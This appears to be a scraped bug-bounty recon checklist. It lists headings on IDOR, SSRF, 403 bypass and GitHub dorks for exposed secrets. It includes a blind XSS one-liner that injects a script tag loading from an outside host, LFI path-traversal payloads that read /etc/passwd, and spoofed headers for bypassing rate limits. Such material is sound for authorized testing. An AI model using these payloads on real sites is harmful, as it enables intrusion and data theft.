Checklist; After Recon

Rate Limit Bypass Headers

One Liner To Find Blind XSS
Blind XSS in Parameters

subfinder -d target.com | gau | grep "&" | bxss -appendMode -payload '"><script src=hacker.xss.ht></script>' -parameters

IDOR Checklist !

Testing Authentication Flaws in Web Application

Some filter bypass payload list while hunting for LFi vulnerability


→index.php?page=....//....//etc/passwd
→index.php?page=..///////..////..//////etc/passwd
→index.php?page=/var/www/../../etc/passwd

LFI Parameters

Remote File Inclusion (RFI)

Rate limit bypass using some custom headers:

X-Forwarded-For: IP
X-Forwarded-IP: IP
X-Client-IP: IP
X-Remote-IP: IP
X-Originating-IP: IP
X-Host: IP
X-Client: IP

403 bypass techniques

Bypassing Rate Limit Protection

Github Dorks Cheatsheet

Find files with sensitive info, API Keys, Tokens and Passwords.

+ list of github dorks automation tools

Chrome has just unleashed popovers: modal dialogs without JS! Of course you can abuse them for XSS filter evasion

SSRF Techniques Roadmap

WhatsApp'ta Cyber Security kanalını takip edin: https://whatsapp.com/channel/0029Va6CNA2HFxP702cjaC3q

HTTP Host Header Attack
https://www.saygili.org/2020/11/http-host-header-attack.html